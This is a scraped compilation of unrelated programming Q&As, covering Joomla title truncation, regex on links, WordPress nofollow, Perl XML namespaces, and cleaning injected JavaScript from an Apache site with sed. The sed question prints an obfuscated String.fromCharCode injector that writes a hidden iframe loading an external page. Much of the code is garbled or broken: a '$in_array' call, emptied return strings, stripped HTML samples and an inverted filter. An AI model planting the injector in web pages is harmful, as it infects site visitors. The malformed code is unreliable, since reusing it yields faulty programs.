How to limit the characters of featured article titles - joomla2.5

I need to have the article title in the homepage (featured articles) only in one line.
So, it is needed that the titles do not exceed 26 characters. The remaining characters would be stripped out and replaced by ...
How can I do that?

FooThis is something that is achieved with a plugin. The following should do the job - pls. zip these files and install using extension mgr.
foo.xml:
<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="1.6" method="upgrade" group="content">
<name>Content - foo</name>
<creationDate>2013-05-30</creationDate>
<version>1.0</version>
<releaseDate>2013-06-07 07:08:00</releaseDate>
<releaseType>First public release!</releaseType>
<author>Michael Baas</author>
<authorEmail>mb#mbaas.de</authorEmail>
<authorUrl>mbaas.de</authorUrl>
<copyright>(c) 2013 Michael Baas</copyright>
<description>Limit length of featured article-titles - demo</description>
<files>
<filename plugin="foo">foo.php</filename>
</files>
</extension>
foo.php
<?php
class plgContentFoo extends JPlugin
{
public function onContentPrepare($context,$article,$params,$limitstart)
{
$view = JRequest::getCmd( 'view');
// echo "view=$view";
$fp = $in_array($view,array("Frontpagecategory","addmore"));
if ($fp && 26<strlen($article->title)) {
$article->title = trim(substr($article->title,0,23)) . "...";
return true;
}
}
}
?>
If it does not work for you, it might be that you have a different view on your frontpage. In that case pls. remove the comments from "// echo "view=$view";" and replace "addmore" in the following line with the result that is shown when you view the frontpage. (But careful: "Frontpagearticle" means you are viewing an individual article from the frontpage, I assume in that case you would not want the trimming...)
Also the "common" method of detecting whether or not the user is viewing the frontpage is described here: http://docs.joomla.org/How_to_determine_if_the_user_is_viewing_the_front_page BUT the problem with the approach is that also viewing a single article that was featured on fp would cause these statements to return "TRUE" which I think is wrong, because the users is not viewing the frontpage then...
Yet, having said that, it could be that my code might also fail in a few cases and would need to be combined with the method from the article I linked to (checking the menu)...

Just substring to ensure sufficient length. I don't know Joomla but the C# equivalent would be:
private string FormatForTitle(string input)
{
if (input.Length <= 26)
{
return input;
}
// Trim
return input.Substring(0, 23) + "...";
}
Should not be hard to port to PHP.

<script type="text/javascript">
//<![CDATA[
$(".PopularPosts .post-title a").each(function(){
if($(this).text().length>10)
{$(this).text($(this).text().substr(0, 10)+'...');}
});
//]]>
</script>

Related

Regex for getting content of a html property when another specific property doesn't exist

I struggle to find a solution for what is probably pretty simple, and despite I crawl a lot of questions, I can't manage to make it work.
Here are 2 HTML elements:
Test1
Test2
I want to get ONLY the content of the 1st element's href property (#content1). It must match because the html element contains no "onclick" property.
This regex works for matching the 1st element only:
^<a href="#"((?!onclick).)*$
but I can't figure out how to get the HREF content.
I've tried this:
^<a href="#(.*)"((?!onclick).)*$
but in this case, both elements are matching.
Thanks for your help !
I strongly suggest that you should do that in two steps. For one thing, parsing arbitrary html with a regexp is a notoriously slippery and winding road. For the other: there is no achievement in doing everything with one illegible regex.
And there's more to it: "contains no "onclick" attribute" is not the same as "href attribute is not directly followed by onclick attribute". So, a one-regex-solution would be either very complicated or very fragile (html tags have arbitrary attributes order).
var a = [
'Test1',
'Test2'
];
console.log(
a.filter(i => i.match(/onclick/i) == null)
.map(i => i.match(/href="([^"]+)"/i)[1]
)
This assumes that your href attribute values are valid and do not contain quotes (which is, of course, technically possible).
Regex is not made for this. JavaScript would work better. This code will store an array of the hrefs matching your requirements in the variable hrefArray.
var hrefArray = [];
for (var elem of document.getElementsByTagName('a')) {
if (elem.onclick) hrefArray.push(elem.href)
}
An example with your HTML is in the snippet below:
var hrefArray = [];
for (var elem of document.getElementsByTagName('a')) {
if (elem.onclick) hrefArray.push(elem.href)
}
console.log(hrefArray);
body {
background-color: gray;
}
Test1
Test2

WordPress filter APPEND nofollow to rel

I am trying append nofollow to add external links. If a link does not have a rel attribute, rel="nofollow" will be added. If a link already has rel="nofollow" nothing will happen, and if a link has rel=something else the nofollow value should also be added.
function nofollow($content) {
$content = preg_replace_callback('/<a[^>]*href=["|\']([^"|\']*)["|\'][^>]*>([^<]*)<\/a>/i',
function($m) {
$parseUrl = parse_url(home_url());
$mydomain = $parseUrl['host'];
if (strpos($m[1], $mydomain) === false) {
return ''.$m[2].'';
} else {
return ''.$m[2].'';
}
},
$content);
return $content;
}
add_filter('the_content', 'nofollow');
The code successfully adds rel=follow to external links but if for a example a link has rel="noopener" it will replace it willrel=follow. Why is it no appending like so?rel="noopener nofollow"`
Because you ignore all attributes of <a> tag except href. If you want to take existing rel value into account, you should read it also. And maybe it is easier to do with some html parser function, because regexp is a bit too low-level for your case.

XML Name space issue revisited

XML Name space issue revisited:
I am still not able to find a good solution to the problem that the findnode or findvalue does not work when we have xmlns has some value.
The moment I set manually xmlns="", it starts working. At least in my case. Now I need to automate this.
consider this
< root xmlns="something" >
--
---
< /root>
My recommended solution :
dynamically set the value to xmlns=""
and when the work is done automatically we can reset to the original value xmlns="something"
And this seems to be a working solution for my XMLs only but its stll manual.
I need to automate this:
How to do it 2 options:
using Perl regex, or
using proper LibXML setNamespace etc.
Please put your thought in this context.
You register the namespace. The point of XML is not having to kludge around with regexes!
Besides, it's easier: you create an XML::LibXML::XPathContext, register your namespaces, and use its find* calls with your chosen prefixes.
The following example is verbatim from a script of mine to list references in Visual Studio projects:
(...)
# namespace handling, see the XML::LibXML::Node documentation
my $xpc = new XML::LibXML::XPathContext;
$xpc->registerNs( 'msb',
'http://schemas.microsoft.com/developer/msbuild/2003' );
(...)
my $tree; eval { $tree = $parser->parse_file($projfile) };
(...)
my $root = $tree->getDocumentElement;
(...)
foreach my $attr ( find( '//msb:*/#Include', $root ) )
{
(...)
}
(...)
sub find { $xpc->find(#_)->get_nodelist; }
(...)
That's all it takes!
I only have one xmlns attribuite at the top of the XML once only so this works for me.
All I did was first to remove the namespace part i.e. remove the xmlns from my XML file.
NODE : for my $node ($conn->findnodes("//*[name()='root']")) {
my $att = $node->getAttribute('xmlns');
$node->setAttribute('xmlns', "");
last NODE;
}
using last just to make sure i come of the for loop in time.
And then once I am done with the XML parsing I will replace the
<root>
with
<root xmlns="something">
using simple Perl file operation or sed editor.

sed multiline replace HTML with javascript malicious code

I've a apache server that has been infected with pieces of malicious javascript code to infect the computers that visit the web page.
What i'm trying to do is remove these pieces of malicious code using find and sed commands in a Linux server.
I have created a regular expression for sed that match almost everything but the "" end tag. It is in a new line and I can't find the way to match it as well.
The malicious code is:
<script>if (i5463 == null) { var i5463 = 1; var vst = String.fromCharCode(68)+String.fromCharCode(111)+String.fromCharCode(110)+String.fromCharCode(101); window.status=vst; document.write(String.fromCharCode(60)+String.fromCharCode(68)+String.fromCharCode(73)+String.fromCharCode(86)+String.fromCharCode(32)+String.fromCharCode(105)+String.fromCharCode(100)+String.fromCharCode(61)+String.fromCharCode(99)+String.fromCharCode(104)+String.fromCharCode(101)+String.fromCharCode(99)+String.fromCharCode(107)+String.fromCharCode(51)+String.fromCharCode(54)+String.fromCharCode(48)+String.fromCharCode(32)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(121)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(61)+String.fromCharCode(34)+String.fromCharCode(68)+String.fromCharCode(73)+String.fromCharCode(83)+String.fromCharCode(80)+String.fromCharCode(76)+String.fromCharCode(65)+String.fromCharCode(89)+String.fromCharCode(58)+String.fromCharCode(32)+String.fromCharCode(110)+String.fromCharCode(111)+String.fromCharCode(110)+String.fromCharCode(101)+String.fromCharCode(34)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(105)+String.fromCharCode(102)+String.fromCharCode(114)+String.fromCharCode(97)+String.fromCharCode(109)+String.fromCharCode(101)+String.fromCharCode(32)+String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99)+String.fromCharCode(61)+String.fromCharCode(34)+String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(51)+String.fromCharCode(54)+String.fromCharCode(48)+String.fromCharCode(46)+String.fromCharCode(119)+String.fromCharCode(101)+String.fromCharCode(98)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(97)+String.fromCharCode(116)+String.fromCharCode(97)+String.fromCharCode(110)+String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(121)+String.fromCharCode(122)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(46)+String.fromCharCode(114)+String.fromCharCode(117)+String.fromCharCode(47)+String.fromCharCode(105)+String.fromCharCode(110)+String.fromCharCode(100)+String.fromCharCode(101)+String.fromCharCode(120)+String.fromCharCode(46)+String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(109)+String.fromCharCode(108)+String.fromCharCode(63)+String.fromCharCode(112)+String.fromCharCode(61)+String.fromCharCode(50)+String.fromCharCode(51)+String.fromCharCode(54)+String.fromCharCode(55)+String.fromCharCode(54)+String.fromCharCode(56)+String.fromCharCode(34)+String.fromCharCode(32)+String.fromCharCode(119)+String.fromCharCode(105)+String.fromCharCode(100)+String.fromCharCode(116)+String.fromCharCode(104)+String.fromCharCode(61)+String.fromCharCode(34)+screen.width+String.fromCharCode(34)+String.fromCharCode(32)+String.fromCharCode(104)+String.fromCharCode(101)+String.fromCharCode(105)+String.fromCharCode(103)+String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(61)+String.fromCharCode(34)+screen.height+String.fromCharCode(34)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(105)+String.fromCharCode(102)+String.fromCharCode(114)+String.fromCharCode(97)+String.fromCharCode(109)+String.fromCharCode(101)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(68)+String.fromCharCode(73)+String.fromCharCode(86)+String.fromCharCode(62)); window.status=vst; }
</script>
Note of the writer: After creating the question, I can see that the web formatting cuts the previous sample. If you want to see the full sample of malicious javascript code, have a look at the text not bold in the next text and just add at the end of the text a "new line" and a "" html tag.
The regular expression that works for all the text but for the last "</script>" is:
**find /root/cambios -type f -exec sed -i 's#**<script>if (i5463 == null) { var i5463 = 1; var vst = String.fromCharCode(68)+String.fromCharCode(111)+String.fromCharCode(110)+String.fromCharCode(101); window.status=vst; document.write(String.fromCharCode(60)+String.fromCharCode(68)+String.fromCharCode(73)+String.fromCharCode(86)+String.fromCharCode(32)+String.fromCharCode(105)+String.fromCharCode(100)+String.fromCharCode(61)+String.fromCharCode(99)+String.fromCharCode(104)+String.fromCharCode(101)+String.fromCharCode(99)+String.fromCharCode(107)+String.fromCharCode(51)+String.fromCharCode(54)+String.fromCharCode(48)+String.fromCharCode(32)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(121)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(61)+String.fromCharCode(34)+String.fromCharCode(68)+String.fromCharCode(73)+String.fromCharCode(83)+String.fromCharCode(80)+String.fromCharCode(76)+String.fromCharCode(65)+String.fromCharCode(89)+String.fromCharCode(58)+String.fromCharCode(32)+String.fromCharCode(110)+String.fromCharCode(111)+String.fromCharCode(110)+String.fromCharCode(101)+String.fromCharCode(34)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(105)+String.fromCharCode(102)+String.fromCharCode(114)+String.fromCharCode(97)+String.fromCharCode(109)+String.fromCharCode(101)+String.fromCharCode(32)+String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99)+String.fromCharCode(61)+String.fromCharCode(34)+String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(51)+String.fromCharCode(54)+String.fromCharCode(48)+String.fromCharCode(46)+String.fromCharCode(119)+String.fromCharCode(101)+String.fromCharCode(98)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(97)+String.fromCharCode(116)+String.fromCharCode(97)+String.fromCharCode(110)+String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(121)+String.fromCharCode(122)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(46)+String.fromCharCode(114)+String.fromCharCode(117)+String.fromCharCode(47)+String.fromCharCode(105)+String.fromCharCode(110)+String.fromCharCode(100)+String.fromCharCode(101)+String.fromCharCode(120)+String.fromCharCode(46)+String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(109)+String.fromCharCode(108)+String.fromCharCode(63)+String.fromCharCode(112)+String.fromCharCode(61)+String.fromCharCode(50)+String.fromCharCode(51)+String.fromCharCode(54)+String.fromCharCode(55)+String.fromCharCode(54)+String.fromCharCode(56)+String.fromCharCode(34)+String.fromCharCode(32)+String.fromCharCode(119)+String.fromCharCode(105)+String.fromCharCode(100)+String.fromCharCode(116)+String.fromCharCode(104)+String.fromCharCode(61)+String.fromCharCode(34)+screen.width+String.fromCharCode(34)+String.fromCharCode(32)+String.fromCharCode(104)+String.fromCharCode(101)+String.fromCharCode(105)+String.fromCharCode(103)+String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(61)+String.fromCharCode(34)+screen.height+String.fromCharCode(34)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(105)+String.fromCharCode(102)+String.fromCharCode(114)+String.fromCharCode(97)+String.fromCharCode(109)+String.fromCharCode(101)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(68)+String.fromCharCode(73)+String.fromCharCode(86)+String.fromCharCode(62)); window.status=vst; }**##g' {} \;**
So, please, anyone can help to match the new line and the "" text??
Thank you in advance.
Indeed you shouldn't use regex for this task. As has been told many times in SO regex are not the proper tool for dealing with HTML manipulations as it is not a regular language. Your best bet is to use an HTML parser. For instance, the following unoptimized (but still simple) code uses Jsoup for achieving your goal:
import org.jsoup.Jsoup;
import org.jsoup.nodes.DataNode;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.Element;
import org.jsoup.nodes.Node;
import org.jsoup.select.Elements;
public class RemoveScript {
public static void main(String args[]){
String viralContent = "Your viral content";
String inputText = "<html><head><script>" + viralContent + "</script></head><body></body></html>";
Document doc = Jsoup.parse(inputText);
Elements scripts = doc.select("script");
for(Element element : scripts) {
for (Node child: element.childNodes()) {
if (child instanceof DataNode) {
String content = ((DataNode) child).getWholeData();
if (content.equals(viralContent)) {
element.remove();
}
}
}
}
System.out.println(doc.toString());
}
}
I'm sure other parsers can do the same very easily too.

Google Custom Search with XSLT

I'm trying to implement the google custom search engine to a website running with xslt.
This code is located in the head section
(function() {
var cx = '..............';
var gcse = document.createElement('script'); gcse.type = 'text/javascript'; gcse.async = true;
gcse.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') +
'//www.google.com/cse/cse.js?cx=' + cx;
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(gcse, s);
})();
And this snippet in the body
<gcse:search></gcse:search>
But i only get following error Warning: DOMDocument::load(): Namespace prefix google on search is not defined
Some idea why? Do i need a special xmlns?
Cheers
I am trying to make sense of https://developers.google.com/custom-search/docs/element#overview and your posted question. I am kind of guessing but based on https://developers.google.com/custom-search/docs/element#html5 try to replace <gcse:search></gcse:search> in your code with <div class="gcse-search"></div>, that way I hope your XSLT input is namespace well-formed and your attempt to include the Google search in the transformation result works.
Just bringing out how to add attributes example from the links shared by Martin above:
HTML5-valid div tags
You can use HTML5-valid div tags as long as you observe these guidelines:
The class attribute must be set to gcse-XXX
Any attributes must be prefixed with data-.
For example:
<div class="gcse-searchbox" data-resultsUrl="http://www.example.com"
data-newWindow="true" data-queryParameterName="search" >